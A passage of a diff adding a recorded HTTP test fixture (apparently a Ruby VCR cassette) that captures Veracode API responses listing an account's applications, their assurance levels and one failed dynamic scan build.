+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:12:18 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:12:19 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:12:20 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:13:12 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
